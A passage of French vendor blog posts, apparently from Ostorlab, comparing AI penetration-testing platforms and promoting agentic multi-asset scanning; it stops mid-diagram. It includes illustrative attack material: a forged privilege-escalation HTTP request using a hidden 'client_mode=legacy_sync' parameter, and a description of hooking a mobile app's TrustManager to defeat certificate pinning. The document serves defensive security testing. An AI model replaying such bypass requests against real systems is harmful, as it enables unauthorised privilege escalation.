NodeZero est fourni sous forme de plateforme SaaS dans le cloud. Les tests internes utilisent un hôte ou une appliance virtuelle temporaire déployé chez le client. Cette architecture atteint les actifs on-premises, mais ce n'est pas la même chose qu'un plan de contrôle NodeZero entièrement auto-hébergé et documenté publiquement.

Points à vérifier : testez un chemin qui part d'une application web et tente d'atteindre un objectif interne ou cloud. Confirmez la disponibilité et les droits exacts de la capacité WebApp plus récente, la profondeur propre aux API, les contrôles d'exploitation sûre et les données qui quittent l'hôte NodeZero local.

Pentera

Pentera est une plateforme de validation de l'exposition conçue principalement pour des tests adverses sûrs en production sur les réseaux internes, les identités, les actifs externes et les environnements cloud. Pentera Core se concentre sur l'infrastructure interne ; Pentera Surface couvre l'exposition externe ; et Pentera Cloud valide les chemins d'attaque sur AWS, Azure, les workloads, les permissions, le stockage et les environnements hybrides.

Pentera utilise des attaques algorithmiques et guidées par l'IA plutôt que de se présenter uniquement comme un agent LLM. Sa documentation publique actuelle décrit une IA qui adapte l'exécution en temps réel, tandis que des contrôles déterministes maintiennent les actions sûres et reproductibles. Le résultat est un chemin d'attaque exécuté qui peut être priorisé selon l'impact métier et re-validé après remédiation.

Les tests d'attaque web et les tests de dépôts de code sont documentés dans la plateforme élargie. Les tests d'intrusion d'applications mobiles sont proposés via le service d'experts SECTOR11 distinct de Pentera, et non documentés comme une cible native de la plateforme autonome.

Points à vérifier : identifiez les modules requis pour les tests internes, externes, cloud, web et de dépôts. Demandez à l'éditeur de distinguer les capacités autonomes de la plateforme des services SECTOR11, de démontrer la profondeur des tests propres aux API et de documenter l'architecture on-premises et les flux de données exacts.

Aikido Security

L'AI Pentest d'Aikido Security utilise des agents coordonnés pour des tests en boîte blanche, grise et noire des applications, des API et de l'infrastructure. Il peut utiliser le code source et les spécifications OpenAPI pour cartographier la surface d'attaque, répartir les agents par vecteur d'attaque et re-tester les vulnérabilités via des agents de validation distincts.

Aikido positionne son AI Pentest aux côtés de ses produits de code, cloud, conteneurs, dépendances, DAST, API et Autofix. Sa documentation publique décrit aussi des tests d'applications Android couvrant le client Android et son API backend. Des tests iOS natifs équivalents n'ont pas été trouvés dans la documentation publique examinée.

Pour les organisations réglementées, Aikido Machine exécute la pile de pentest et les modèles sur une appliance GPU installée chez le client, y compris en mode air-gapped. Aikido positionne aussi explicitement ses rapports et ses lettres d'attestation pour les workflows SOC 2 et ISO 27001.

Points à vérifier : distinguez ce que l'AI Pentest exploite lui-même activement du contexte fourni par les autres produits d'Aikido. Testez la profondeur Android, le comportement des API autonomes, la corrélation entre source et exécution, et si l'appliance on-premises prend en charge l'échelle et la politique de mise à jour requises.

Hadrian Nova

Hadrian commence par la découverte continue des domaines, sous-domaines, certificats, IP et actifs fantômes exposés sur Internet. Sa plateforme Atlas surveille l'exposition externe, tandis que Hadrian Nova propose du pentest agentique à la demande avec une flotte d'agents hackers IA.

La documentation publique de Nova décrit la reconnaissance, l'exploitation, le mouvement latéral, l'enchaînement d'attaques, un raisonnement transparent et des vulnérabilités revues par des humains. Les rapports incluent la preuve d'exploitabilité, les étapes de reproduction, le contexte de risque, des recommandations de remédiation et des correspondances avec SOC 2, ISO 27001 et NIS2.

Le centre de gravité de Hadrian est la surface d'attaque externe. Les tests de binaires mobiles natifs, l'analyse du code source comme cible et un déploiement privé ou on-premises n'ont pas été confirmés dans la documentation publique examinée.

Points à vérifier : fournissez une application authentifiée exposée sur Internet et ses API connectées, puis confirmez si Nova teste la logique métier de l'application ou principalement l'exposition externe exploitable. Demandez quelles vulnérabilités font l'objet d'une revue humaine, combien de temps dure cette revue, et si les ressources cloud sont testées activement ou seulement découvertes de l'extérieur.

Escape

Escape est une plateforme de sécurité applicative et de sécurité offensive axée sur les applications web et les API modernes. Son architecture de pentest par IA utilise des agents spécialisés pour le crawl, le test d'autorisation, la validation des vulnérabilités et les tests de régression. Les agents partagent leurs découvertes afin qu'une observation puisse déclencher un test de suivi ciblé.

Escape documente la preuve via des captures d'écran, des journaux d'exécution, la validation de chemins d'attaque et un proxy inspectable. Un rapport antérieur peut aussi être ingéré afin que la plateforme ré-exécute les vulnérabilités précédentes sur les builds suivants. C'est particulièrement pertinent pour les équipes AppSec qui cherchent à transformer des résultats de pentest ponctuels en tests de régression reproductibles.

La plateforme élargie décrit la découverte du code au cloud et le pentest réseau externe, mais les tests natifs d'applications mobiles et un déploiement privé ou on-premises n'ont pas été confirmés dans la documentation publique examinée.

Points à vérifier : testez un workflow d'autorisation multi-utilisateurs et une API autonome. Inspectez les journaux complets de raisonnement et de proxy, déterminez en quoi le pentest par IA diffère des produits DAST et ASM d'Escape, et confirmez quelles preuves sont incluses dans le rapport d'audit sans mission de services.

Synack

Synack utilise un modèle hybride. Sara, son agent rouge autonome, prend en charge la découverte et l'investigation de vulnérabilités pilotées par l'IA, tandis que la Synack Red Team et le processus d'opérations de vulnérabilités assurent la validation humaine et la vérification des exploits avant que les vulnérabilités n'atteignent le client.

Cela distingue sensiblement Synack des plateformes entièrement autonomes. Son avantage n'est pas une exécution purement machine ; c'est la combinaison d'une échelle agentique, d'un réseau de chercheurs managé et d'un reporting prêt pour l'audit. Synack documente publiquement des services de tests d'intrusion pour les applications, les API, le cloud, le réseau, le mobile et l'IA/les LLM, ainsi qu'une prestation autorisée FedRAMP pour les besoins du secteur public.

Le compromis est que les acheteurs ne doivent pas supposer que chaque actif ou vulnérabilité est testé de façon autonome par Sara. Une partie de la profondeur provient de chercheurs humains, et le calendrier et le modèle commercial peuvent différer d'un test continu purement logiciel.

Points à vérifier : demandez une répartition précise des tâches entre Sara, la Synack Red Team et les opérations de vulnérabilités. Confirmez la cadence des tests, le délai de validation, les contrôles d'accès des chercheurs, la couverture mobile, les conditions de re-test, et si le livrable final satisfait l'exigence de l'auditeur ou du client visé.

Foire aux questions

Quelle plateforme de pentest par IA prend en charge les applications mobiles ?

Ostorlab prend en charge les tests natifs Android et iOS, y compris l'exploration agentique des workflows et l'investigation des API backend connectées. Aikido documente publiquement le pentest par IA sur Android, tandis que Synack propose des tests mobiles via son modèle de service associant humains et IA ; la couverture mobile native n'a pas été confirmée pour les autres plateformes évaluées.

Quelle plateforme de pentest par IA peut tester des API autonomes ?

Ostorlab, Aikido Security et Escape documentent publiquement des tests axés sur les API, tandis que XBOW décrit les API comme un support d'une application interactive. Les acheteurs doivent vérifier si « prise en charge des API » signifie accepter une spécification OpenAPI, observer le trafic de l'application ou tester activement une API comme cible indépendante.

Comment les plateformes de pentest par IA réduisent-elles les faux positifs ?

Les plateformes de pentest par IA réduisent les faux positifs en exigeant une exploitation réussie, une ré-exploitation indépendante, une validation déterministe, des preuves reproductibles, une revue humaine, ou une combinaison de ces mécanismes. Aucun acheteur ne devrait accepter une affirmation de zéro faux positif absolu sans tester lui-même des vulnérabilités représentatives.

Un pentest par IA peut-il servir pour SOC 2 ?

Un pentest par IA peut appuyer un audit SOC 2 lorsque son périmètre, sa méthodologie, ses preuves, ses résultats, sa remédiation et l'indépendance du testeur répondent aux exigences de l'auditeur. Plusieurs éditeurs fournissent des rapports prêts pour l'audit, mais SOC 2 ne rend pas un produit automatiquement acceptable et l'auditeur de l'organisation reste le décideur.

Quelle plateforme de pentest par IA propose un déploiement on-premises ?

Aikido Security documente publiquement une appliance on-premises et air-gapped complète, tandis qu'Ostorlab propose un On-Premises Scanner en option et que NodeZero utilise un hôte déployé chez le client pour l'exécution interne. Ces architectures ne sont pas équivalentes ; les acheteurs doivent donc distinguer l'exécution locale des scans d'un plan de contrôle et d'une pile de modèles entièrement auto-hébergés.

Quelle plateforme de pentest par IA est la meilleure dans l'ensemble ?

La meilleure plateforme de pentest par IA est celle qui peut tester la surface d'attaque qui compte, prouver l'exploitabilité en toute sécurité, exposer son raisonnement et ses preuves, et vérifier la remédiation. Une longue liste de classes de vulnérabilités prises en charge a moins de valeur qu'un seul chemin d'attaque reproductible à travers un workflow de production représentatif.

Agentic Deep Scan valide les comportements exploitables dans les applications mobiles et web et leurs API, tandis que Multi-Asset Deep Agentic Scan étend l'investigation au code source, aux réseaux et aux fichiers de support. Pour les organisations dont le risque couvre ces couches applicatives connectées, cela fait d'Ostorlab la solution la mieux adaptée de cette évaluation.

La question décisive pour juger de la valeur est simple :

La plateforme peut-elle seulement trouver un problème sur une cible, ou peut-elle suivre le système réel à travers les actifs, prouver l'exploit, montrer chaque étape et vérifier le correctif ?

Pentest autonome vs pentest traditionnel

2026-09-08T14:00:00+02:00

Tout responsable AppSec finit par se poser la même question budgétaire : le prochain euro doit-il financer un nouveau test d'intrusion traditionnel, un abonnement PTaaS ou une plateforme de test agentique par IA ?

La mauvaise réponse part d'un faux choix. Ces options ne décrivent pas la même chose.

Le test d'intrusion traditionnel désigne une évaluation menée par des humains. Le PTaaS décrit la manière dont les tests sont livrés et gérés dans la durée. Les tests agentiques et autonomes décrivent la manière dont un système prend des décisions pendant un test. Un programme de sécurité mature peut utiliser les trois.

La question utile n'est pas : « L'IA peut-elle remplacer un pentesteur ? » Elle est : « Quel travail doit s'exécuter en continu, quel travail nécessite un enquêteur humain, et quelles preuves chacun doit-il produire avant que les équipes d'ingénierie n'agissent ? »

Réponse directe : le pentest autonome utilise des boucles de rétroaction agentiques pour découvrir, exploiter et vérifier en continu des vulnérabilités techniques au rythme de cycles de livraison rapides. Il ne remplace cependant pas les pentesteurs humains. Les programmes AppSec d'entreprise matures combinent des agents autonomes continus pour la couverture technique de base avec des spécialistes humains pour la logique métier complexe, les évaluations d'architectures sur mesure et les décisions de risque nuancées.

Quelle est la différence entre le pentest traditionnel, le PTaaS et le test agentique ?

Les équipes de sécurité comparent souvent des catégories qui relèvent d'axes différents.

Le test d'intrusion traditionnel est généralement une mission délimitée et limitée dans le temps. Une équipe humaine étudie un environnement, teste des chemins d'attaque, valide les résultats et remet un rapport. Il reste efficace lorsqu'une organisation a besoin d'une évaluation approfondie d'une version critique, d'une architecture sur mesure ou d'un processus métier à fort enjeu. NIST SP 800-115 décrit ce modèle classique d'évaluation par phases et de remise de rapport.

Le Penetration Testing as a Service (PTaaS) est un modèle de livraison et d'exploitation. Il ajoute généralement une plateforme persistante pour le cadrage, les résultats, la remédiation, le reporting et le retest. Une mission PTaaS peut être menée par des humains, assistée par l'IA ou hybride. Elle ne devient pas autonome du seul fait qu'elle passe par un portail. Synack fait la même distinction dans sa définition du PTaaS.

Le test agentique décrit une boucle adaptative. Au lieu d'exécuter uniquement une liste de contrôle fixe, le système peut observer un résultat, formuler une nouvelle hypothèse, choisir une action ou un outil autorisé, examiner les preuves et changer de cap.

Le test autonome est l'extrémité de ce modèle où l'autonomie est la plus élevée. Le système décide d'une plus grande partie de la séquence de test sans approbation pour chaque action, mais uniquement dans des limites explicites. L'Autonomous Penetration Testing Standard de l'OWASP distingue ce cas du scan planifié : un scan préconfiguré qui ne prend aucune décision n'est pas un test autonome. Ses recommandations font aussi du respect du périmètre, des contrôles de sécurité et de la responsabilité des exigences centrales.

Les responsables de la sécurité ont ainsi deux décisions à prendre, et non une seule :

Modèle d'exécution	Mission ponctuelle	Service récurrent ou continu
Exécution menée par des humains	Pentest traditionnel	PTaaS mené par des humains
Exécution assistée par l'IA	Travail mené par un consultant et accéléré par l'IA	PTaaS assisté par l'IA
Exécution agentique ou autonome	Investigation ciblée et délimitée	Plateforme de test agentique continu

Le bon modèle dépend du risque, du rythme de livraison et des preuves exigées, et non de l'étiquette affichée sur la page d'accueil d'un éditeur.

Pentest autonome vs pentest traditionnel vs PTaaS : comparaison des caractéristiques

Question	Pentest humain par projet	PTaaS continu mené par des humains	Test agentique continu
Quand s'exécute-t-il ?	À intervalles planifiés	À la demande ou selon un planning	Après les versions ou d'autres déclencheurs approuvés
Qui réalise les tests ?	Des pentesteurs humains	Des pentesteurs humains utilisant une plateforme partagée	Des agents autonomes sous supervision humaine
Le mieux adapté à	La logique métier complexe et les chemins d'attaque inédits	L'accès récurrent à une expertise humaine	Des tests reproductibles sur des versions fréquentes
Principale limite	Ne fournit qu'une couverture à un instant donné	Dépend toujours de la disponibilité des testeurs	Ne peut pas juger seul chaque risque métier
Meilleur rôle en AppSec	Investigation approfondie	Tests récurrents par des spécialistes	Socle de sécurité continu

Ce tableau n'est pas un classement. Un système automatisé peut démarrer rapidement et pourtant produire des preuves faibles. Une équipe humaine peut déceler un cas d'abus subtil, mais ne peut pas relancer en continu chaque workflow après chaque version. L'objectif est de confier à chaque niveau le travail qui correspond à ses points forts.

Où le test agentique autonome a-t-il un avantage structurel ?

Une couverture continue entre les missions

Les applications changent plus souvent que les calendriers de tests annuels. De nouvelles API apparaissent, les flux d'authentification évoluent, les versions mobiles ajoutent des SDK, et un problème corrigé peut réapparaître dans un build ultérieur.

Le test agentique convient bien aux tâches reproductibles qui doivent avoir lieu chaque fois qu'un déclencheur de confiance survient : une version, une modification importante d'API, un nouvel actif ou le déploiement d'une remédiation. Il peut conserver le contexte précédent, rejouer des chemins connus et orienter l'attention vers ce qui a changé.

Cela ne rend pas chaque test également sûr à automatiser. L'organisation doit définir le périmètre, les techniques autorisées, les seuils d'impact, les limites de débit et les conditions d'escalade avant qu'un système n'agisse. La distinction importante n'est pas « sans intervention » contre « avec intervention ». C'est une automatisation délimitée et auditable contre un agent non gouverné disposant d'un large accès.

Investigation reproductible des API et des workflows authentifiés

Les applications modernes exposent leurs risques à travers des clients web, des applications mobiles, des API, des intégrations tierces et du code source. Une plateforme agentique peut aider à rassembler des signaux issus du trafic intercepté, des définitions d'API, des clients applicatifs et d'identités de test approuvées, puis à rejouer les flux obtenus.

Cela peut rendre la découverte des API et les tests d'autorisation plus systématiques. Cela ne résout aucun de ces deux problèmes. Un endpoint manqué, un modèle de rôles incomplet ou des données de test irréalistes peuvent encore produire une fausse assurance. Les recommandations de l'OWASP sur les tests d'API traitent la découverte comme un processus multi-sources et avertissent que les conclusions sur l'autorisation dépendent du fait que le bon endpoint, la bonne identité et le bon chemin ont été testés. Voir les recommandations de l'OWASP sur la reconnaissance des API.

Capture des preuves à vitesse opérationnelle

Trouver un contrôle de sécurité dans le code ne prouve pas qu'il tient à l'exécution, et signaler une alerte non vérifiée crée de la friction entre l'AppSec et l'ingénierie.

Dans une mission anonymisée évaluée par Ostorlab Agentic Deep Scan, une application mobile d'entreprise mettait en œuvre un certificate pinning TLS personnalisé pour protéger ses API transactionnelles principales. Un analyseur statique a signalé la présence de la logique de validation comme sûre, tandis qu'un scanner DAST traditionnel restait simplement bloqué lorsque les certificats ne correspondaient pas.

Plutôt que de s'appuyer sur des hypothèses statiques ou sur du fuzzing aveugle, l'agent autonome d'Ostorlab a rétro-ingénieré le binaire client sur un appareil de test géré et exécuté de façon autonome un test de validation différentielle directement contre le TrustManager de l'application à l'exécution :

Exécution du test (chaîne de certificats non approuvée identique)	Logique d'exécution	Résultat à l'exécution	Conclusion
Exécution A (contrôle de référence)	TrustManager non modifié de l'application invoqué directement avec le certificat de test non approuvé	`THREW CertificateException (Hostname Mismatch)`	Le contrôle de pinning est activement appliqué
Exécution B (contournement dynamique autonome)	Instrumentation dynamique autonome injectée dans le point d'entrée de la vérification des certificats	`SUCCESS (0 Exceptions thrown)`	Le contrôle peut être hooké et contourné

┌──────────────────────────────────────────────────────────────────────────────────────────────────┐
│                           AUTONOMOUS DIFFERENTIAL RUNTIME PROOF                                  │
└──────────────────────────────────────────────────────────────────────────────────────────────────┘

   Target TrustManager ──► [Run A: Baseline] ──► Throws CertificateException (Control holds)
                       ──► [Run B: Bypass]   ──► Dynamic Hook Injected ──► Success (Defect verified)

Vérification différentielle par Ostorlab Agentic Deep Scan

Figure 1 : fiche de résultat d'Ostorlab Agentic Deep Scan, anonymisée, montrant une preuve différentielle vérifiable par machine. Les identifiants clients sensibles, les tickets et les noms de paquets sont masqués.

La différence entre l'exécution A et l'exécution B apporte une preuve déterministe que le contrôle peut être mis en échec en mémoire, sans qu'il soit nécessaire de deviner, de formuler des hypothèses ou de fabriquer du trafic réseau. Pour les responsables AppSec, cela élimine les faux positifs et donne aux développeurs une trace de reproduction incontestable pour corriger la cause racine.

Cette preuve doit tout de même être examinée. Un programme de sécurité solide se demande si le résultat est dans le périmètre, si la preuve étaye l'impact métier annoncé et si le contrôle corrigé tient lors du retest.

D'un scan à un modèle opérationnel AppSec

Le test continu transforme chaque version en point de contrôle de sécurité. Lorsque Ostorlab détecte une nouvelle version d'une application, il peut lancer les tests pertinents, joindre des preuves reproductibles aux résultats validés, les acheminer dans le workflow de remédiation et retester le build corrigé.

La plateforme relie ce processus à la découverte de la surface d'attaque, à l'inventaire des actifs, aux profils de scan et aux intégrations avec les outils de développement. Elle prend aussi en charge des runtimes OXO locaux, cloud et hybrides, ainsi que des scans CI. Découvrez la documentation d'Ostorlab. Découvrez les runtimes OXO.

Ce processus raccourcit le chemin entre la découverte et la vérification tout en maintenant les ingénieurs impliqués dans les décisions qui exigent du contexte. L'automatisation apporte la couverture et la cohérence ; les équipes de sécurité conservent le contrôle de l'acceptation des risques, de la priorisation et de la remédiation.

Où les pentesteurs humains gardent-ils l'avantage ?

Contexte métier et ambiguïté intentionnelle

Les défaillances les plus précieuses ne sont souvent pas un correctif manquant ou un endpoint exposé. Ce sont une politique que l'on peut détourner, un workflow qui récompense les abus, ou une règle métier dont l'impact dépend d'un contexte absent d'une réponse HTTP.

Les testeurs expérimentés peuvent poser la question dérangeante qui se cache derrière le comportement technique : que tenterait ici un client, un partenaire ou un collaborateur malveillant et motivé ? Ils peuvent remettre en cause des hypothèses, interroger les parties prenantes et changer d'objectif lorsque la première piste échoue. Les systèmes agentiques peuvent soutenir ce travail, mais ils ne suppriment pas le besoin d'une personne pour interpréter l'intention métier et le risque organisationnel.

Architecture, personnes et monde physique

Les revues d'architecture exigent de juger des compromis : frontières de confiance, modes de défaillance opérationnels, contraintes héritées et conséquences d'un contrôle proposé. Le travail de red team peut aussi inclure de l'ingénierie sociale, un accès sur site et une coordination entre plusieurs équipes. Ce ne sont pas des lacunes à dissimuler dans un argumentaire de pentest autonome. Ce sont des disciplines distinctes qui nécessitent une autorisation explicite, des compétences de spécialiste et une responsabilité humaine.

Décisions à fort impact

Plus une action est destructrice ou lourde de conséquences, plus la supervision humaine devient importante. Le cadre APTS de l'OWASP est utile ici, car il traite l'autonomie croissante comme des obligations de contrôle croissantes, et non comme une échelle de maturité marketing. Son modèle d'autonomie associe une action indépendante plus poussée à des exigences d'approbation, de sécurité et d'audit plus strictes.

Les recommandations sectorielles de CREST insistent de la même manière sur le fait que l'intégration de l'IA dans les tests de sécurité exige une supervision définie par des praticiens, une responsabilité claire et des garde-fous éthiques, plutôt qu'une autonomie non surveillée. Voir les recommandations de CREST sur l'IA dans les tests d'intrusion.

Les travaux de recherche vont dans le même sens. Dans l'évaluation AutoPenBench portant sur 33 tâches, une architecture autonome a atteint un taux de réussite de 21 % et une architecture assistée par un humain 64 %. Ces résultats ne mesurent pas tous les produits ni tous les environnements d'entreprise. Ils montrent en revanche pourquoi un résultat de benchmark ne doit pas être converti en affirmation que les agents autonomes équivalent déjà aux pentesteurs humains. Lire l'article AutoPenBench.

Comment les responsables de la sécurité doivent-ils évaluer les éditeurs de pentest autonome et de PTaaS ?

Lors de l'évaluation d'un fournisseur de PTaaS ou d'une plateforme de test agentique, demandez une démonstration des contrôles et des preuves, et pas seulement un exploit de démonstration réussi.

Montrez la preuve. Le système peut-il démontrer un impact à l'exécution, plutôt que présenter un récit d'exploitation vraisemblable ?
Montrez les contrôles. Le périmètre, les limites de débit, les listes d'actions autorisées et les conditions d'arrêt sont-ils appliqués en dehors du modèle ?
Montrez le chemin qui a échoué. Le système peut-il s'adapter lorsqu'une hypothèse initiale échoue, et un opérateur peut-il voir pourquoi il s'est arrêté ?
Montrez la reproduction. Un ingénieur peut-il reproduire le résultat à partir des preuves sans avoir à rétro-ingénierer le rapport ?
Montrez le retest. L'équipe peut-elle vérifier un correctif dans le build concerné et conserver le résultat ?
Montrez le relais humain. Qui examine les résultats importants, approuve les actions à haut risque et assume une escalade ?
Mesurez le pilote localement. Suivez le temps de tri, les résultats en double, les résultats validés, la couverture des workflows critiques, les problèmes connus manqués et le délai entre le correctif et le retest.

C'est là que de nombreuses affirmations de catégorie échouent. La vitesse n'a d'importance que si le résultat est fiable. La couverture n'a d'importance que si le workflow critique a réellement été exercé. L'autonomie n'a d'importance que si l'organisation peut la contrôler et l'auditer.

Comment les programmes AppSec d'entreprise doivent-ils équilibrer tests autonomes, PTaaS et pentest manuel ?

Pour une entreprise de 5 000 personnes, le meilleur programme n'achète que rarement un modèle de test universel unique.

Utilisez le test agentique continu pour maintenir un socle vérifié sur des applications et des API qui évoluent. Utilisez le PTaaS pour faciliter l'exploitation d'une expertise humaine récurrente, de la gestion des résultats et du retest. Réservez les tests humains de spécialistes aux workflows, aux architectures et aux objectifs adverses qui exigent un jugement créatif.

Ce portefeuille offre aussi aux testeurs humains un meilleur point de départ. Au lieu de passer les premiers jours à redécouvrir des endpoints, des flux d'authentification et des contrôles déjà validés, ils peuvent se concentrer sur les parties du système qui ont le plus besoin de leur expérience.

Point clé : pourquoi l'AppSec moderne a besoin à la fois d'agents autonomes et de testeurs humains

Le test agentique peut rendre les tests de sécurité plus continus, plus reproductibles et davantage fondés sur les preuves. Les testeurs humains restent indispensables pour le contexte, la créativité, la responsabilité et les risques qui ne rentrent pas dans un workflow pré-approuvé.

Les programmes AppSec les plus solides utilisent les deux. Ils automatisent le socle, prouvent ce qu'ils peuvent et mobilisent l'expertise humaine pour les questions qui exigent encore du jugement.

Vous voulez voir à quoi ressemble concrètement un test de sécurité applicative continu, fondé sur les preuves ? Découvrez Ostorlab Agentic Deep Scan.

Foire aux questions (FAQ)

Le pentest autonome peut-il remplacer les pentesteurs humains ?

Non. Le pentest autonome est conçu pour gérer l'énumération répétitive de la surface d'attaque, la vérification courante des vulnérabilités et les retests de non-régression sur les builds CI/CD. Les testeurs humains restent nécessaires pour comprendre l'intention métier nuancée, mener des revues d'architecture et exécuter des scénarios d'attaque complexes en plusieurs étapes qui exigent de la créativité latérale.

En quoi le test d'intrusion autonome diffère-t-il des scanners DAST traditionnels ?

Le Dynamic Application Security Testing (DAST) traditionnel suit des schémas de requêtes linéaires et préconfigurés, et génère des taux élevés de faux positifs faute de connaissance de l'état de l'application. Le test agentique autonome utilise des boucles de rétroaction pour observer les réponses de l'application à l'exécution, injecter dynamiquement une logique de test ciblée et produire une preuve déterministe d'exploitabilité (comme des traces d'exécution différentielle en mémoire).

Le test d'intrusion autonome est-il accepté par les référentiels de conformité comme SOC 2 et ISO 27001 ?

Oui, à condition qu'il produise des preuves vérifiables et qu'il s'accompagne d'une supervision documentée par des praticiens. Des standards comme l'OWASP APTS et CREST soulignent que les auditeurs de conformité évaluent la qualité, le périmètre et la reproductibilité des preuves, plutôt que le fait que le payload initial ait été envoyé par un agent IA ou par un consultant humain.

Comment les plateformes de pentest autonome évitent-elles les interruptions de service en production ?

Les plateformes autonomes d'entreprise appliquent des limites de sécurité en dehors du modèle LLM. Ces contrôles comprennent des limites de débit strictes, des listes d'actions autorisées, des commandes destructrices restreintes et des limites de périmètre strictes, afin que les scans ne dégradent pas les services de production.

Sources

Présentation de Multi-Asset Deep Agentic Scan : des tests connectés à l'échelle de l'application

2026-09-02T10:00:00+02:00

Imaginez un agent de sécurité autonome auquel on donne accès, au sein d'une même évaluation, à la documentation d'architecture d'une organisation, à ses schémas d'API, à son application mobile, au code source de son backend et à ses services web en production.

Voici ce qui se passe lorsque cet agent mène son investigation à travers les cinq frontières d'actifs dans un workflow unique et connecté :

Lecture de la documentation : en ingérant la documentation d'architecture destinée aux développeurs, l'agent découvre une route privilégiée non publiée : /api/v2/user/elevate-tier. La documentation indique que cet endpoint est strictement réservé aux sessions authentifiées des clients mobiles utilisant des signatures cryptographiques de requêtes.
Analyse du schéma d'API : l'agent inspecte le schéma OpenAPI pour déterminer les paramètres attendus : target_user_id, requested_tier: "enterprise_verified" et les en-têtes obligatoires (X-Device-Id, X-Timestamp, X-App-Signature).
Rétro-ingénierie de l'application mobile : en décompilant le binaire de l'application mobile (.apk), l'agent remonte les routines réseau pour identifier comment X-App-Signature est généré : une signature HMAC-SHA256 calculée sur l'horodatage et le corps de la requête.
Revue du code source du backend : en recoupant avec le dépôt backend (auth_middleware.py), l'agent examine comment le serveur valide les signatures entrantes. Il repère une faille dans la logique d'autorisation : passer un paramètre de requête non documenté ?client_mode=legacy_sync fait retourner True prématurément à la fonction de vérification, ce qui contourne entièrement le contrôle de la signature cryptographique.
Validation en direct sur l'API : en combinant la route issue de la documentation, le schéma de payload issu d'OpenAPI, les en-têtes client issus du binaire mobile et la logique de contournement issue du code source, l'agent forge et envoie une vraie requête HTTP à l'API. La requête aboutit, démontrant une élévation de privilèges non autorisée et fournissant une preuve de concept vérifiée et reproductible.

POST /api/v2/user/elevate-tier?client_mode=legacy_sync HTTP/1.1
Host: api.target-app.com
X-Device-Id: mobile-client-anonymous
X-Timestamp: 1724687520
Content-Type: application/json

{
  "target_user_id": "usr_94827104",
  "requested_tier": "enterprise_verified"
}

HTTP/1.1 200 OK
Content-Type: application/json

{
  "status": "success",
  "user_id": "usr_94827104",
  "tier": "enterprise_verified",
  "auth_mode": "legacy_sync"
}

Pourquoi les outils en silo ratent les vulnérabilités modernes

Les attaquants du monde réel ne respectent ni les frontières entre outils ni les taxonomies d'actifs. Ils ne cloisonnent pas leur reconnaissance en « scan SAST », « crawl DAST » ou « rétro-ingénierie mobile ». Ils voient au contraire l'empreinte d'une entreprise comme un réseau continu et interconnecté de relations de confiance, de secrets partagés et d'interfaces non validées.

Ils recherchent activement les jointures entre systèmes, ces lignes de fracture où les hypothèses d'une équipe ou d'un composant s'effondrent au contact d'un autre.

Les outils traditionnels de test de sécurité échouent systématiquement face aux architectures modernes, car ils sont fondamentalement cantonnés à des silos d'actif unique :

┌─────────────────────────────────────────────────────────────────────────────┐
│                   THE SILOED SCANNING BLIND SPOT                           │
└─────────────────────────────────────────────────────────────────────────────┘

  [ Documentation ]  ──► Unread by scanners (Hidden routes, trust boundaries ignored)
          │
  [ Mobile Binary ]  ──► Analyzed in isolation (Client crypto verified; server blind)
          │
  [ Source Code   ]  ──► SAST flags 1,000+ theoretical flaws (No reachability)
          │
  [ Web API / App ]  ──► DAST blocked by 401/403 walls & missing client signatures
          │
  [ Network / Cloud] ──► Port scans show open ports (Zero business logic context)

1. SAST : noyé sous les faux positifs, sans contexte d'atteignabilité

Les outils de test statique de sécurité des applications (SAST) analysent les arbres syntaxiques abstraits (AST) dans les dépôts de code source. Efficaces pour repérer des motifs de code théoriques, ils souffrent d'une cécité structurelle sévère : * Aucun contexte d'atteignabilité : le SAST ne peut pas déterminer si une branche de code vulnérable est réellement exposée via une passerelle d'API, déployée derrière un ingress controller ou protégée par des pare-feu réseau. * Fatigue des alertes : les ingénieurs sécurité et les développeurs sont submergés par des centaines d'avertissements non hiérarchisés, dont plus de 85 % ne sont pas exploitables en production. * Contexte de déploiement manquant : le SAST ne peut pas vérifier si une méthode non authentifiée est appelée avec de vrais paramètres d'exécution ou contournée par un middleware en amont.

2. DAST : butée sur les murs 401/403 et les signatures cryptographiques

Les outils de test dynamique de sécurité des applications (DAST) et les scanners de vulnérabilités web en boîte noire envoient des requêtes HTTP à l'aveugle vers des URL publiques, depuis l'extérieur : * Barrières d'authentification : les applications modernes imposent l'authentification multifacteur, des flux OAuth et des jetons de session liés à l'appareil. Les outils DAST perdent fréquemment l'état d'authentification ou échouent à parcourir des flux de connexion complexes. * Signatures cryptographiques : lorsque les API exigent des en-têtes client personnalisés (comme des signatures de requête HMAC-SHA256, du TLS mutuel ou des nonces d'horodatage dynamiques générés dans une application mobile), les requêtes DAST sont immédiatement rejetées au périmètre avec 401 Unauthorized ou 403 Forbidden. * Ignorance des paramètres : le DAST ne peut pas deviner des paramètres de débogage cachés (comme ?client_mode=legacy_sync) ni des schémas internes non documentés sans visibilité interne.

3. AST mobile : confiné au sandbox du client

Les outils de test de sécurité des applications mobiles décompilent les APK et les IPA pour évaluer le durcissement côté client, les implémentations de keystore et l'obfuscation : * Visibilité à sens unique : l'AST mobile confirme qu'une application Android ou iOS met en œuvre une signature cryptographique robuste, un épinglage de certificat solide et un stockage local sécurisé. * Cécité côté backend : les scanners mobiles n'ont aucune visibilité sur le fait que le serveur d'API backend applique réellement ces contrôles cryptographiques, ou que le code côté serveur contienne des contournements d'autorisation hérités.

4. Scanners réseau : dépourvus de sémantique applicative

Les scanners réseau et d'infrastructure balayent des plages d'IP à la recherche de ports TCP/UDP ouverts, de la validité des certificats TLS et de bannières de service exposées : * Aucune logique métier : un scanner de ports identifie que le port 443 ou 8080 est ouvert, mais il ne peut pas comprendre des workflows d'API en plusieurs étapes, des payloads JSON ni la logique d'autorisation multi-tenant. * Isolation du périmètre : les scanners réseau ne peuvent pas corréler un port interne ouvert avec une vulnérabilité d'application web externe pouvant servir de vecteur de pivot.

Lorsque les tests de sécurité sont répartis en silos isolés, les vulnérabilités critiques qui traversent la documentation, les binaires client, les dépôts backend et les environnements cloud actifs restent totalement invisibles.

Chaînes d'attaque multi-sauts réelles entre actifs

Pour montrer comment un raisonnement agentique interconnecté met au jour des vulnérabilités complexes, prenons trois chaînes d'attaque concrètes à plusieurs sauts, identifiées sur des périmètres d'applications réels.

Chaîne d'attaque 1 : documentation d'architecture + SSRF dans une application web + pivot vers des microservices internes

Dans les architectures cloud modernes, les organisations déploient fréquemment des microservices internes sans authentification, en s'appuyant entièrement sur les frontières réseau du VPC pour l'isolation.

┌──────────────────────┐      ┌──────────────────────┐      ┌───────────────────────────┐
│ 1. Architecture Docs │ ───► │ 2. Public Web App    │ ───► │ 3. Internal Microservice  │
